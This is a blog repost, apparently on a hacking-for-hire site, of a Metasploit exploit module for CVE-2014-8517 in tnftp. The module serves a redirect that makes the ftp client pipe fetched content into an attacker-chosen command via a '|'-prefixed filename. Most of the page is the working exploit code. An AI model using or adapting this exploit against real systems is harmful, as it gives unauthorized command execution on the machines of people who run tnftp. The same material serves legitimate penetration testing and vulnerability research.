Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375005

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'tnftp "savefile" Arbitrary Command Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution vulnerability in
        tnftp's handling of the resolved output filename - called "savefile" in
        the source - from a requested resource.

        If tnftp is executed without the -o command-line option, it will resolve
        the output filename from the last component of the requested resource.

        If the output filename begins with a "|" character, tnftp will pass the
        fetched resource's output to the command directly following the "|"
        character through the use of the popen() function.
      },
      'Author' => [
        'Jared McNeill', # Vulnerability discovery
        'wvu' # Metasploit module
      ],
      'References' => [
        ['CVE', '2014-8517'],
        ['URL', 'http://seclists.org/oss-sec/2014/q4/459']
      ],
      'DisclosureDate' => 'Oct 28 2014',
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Privileged' => false,
      'Payload' => {'BadChars' => '/'},
      'Targets' => [['ftp(1)', {}]],
      'DefaultTarget' => 0
    ))
  end

  def on_request_uri(cli, request)
    unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
      print_status("#{request['User-Agent']} connected")
      send_not_found(cli)
      return
    end

    if request.uri.ends_with?(sploit)
      send_response(cli, '')
      print_good("Executing `#{payload.encoded}'!")
      report_vuln(
        :host => cli.peerhost,
        :name => self.name,
        :refs => self.references,
        :info => request['User-Agent']
      )
    else
      print_status("#{request['User-Agent']} connected")
      print_status('Redirecting to exploit...')
      send_redirect(cli, sploit_uri)
    end
  end

  def sploit_uri
    (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
      Rex::Text.uri_encode(sploit, 'hex-all')
  end

  def sploit
    "|#{payload.encoded}"
  end
end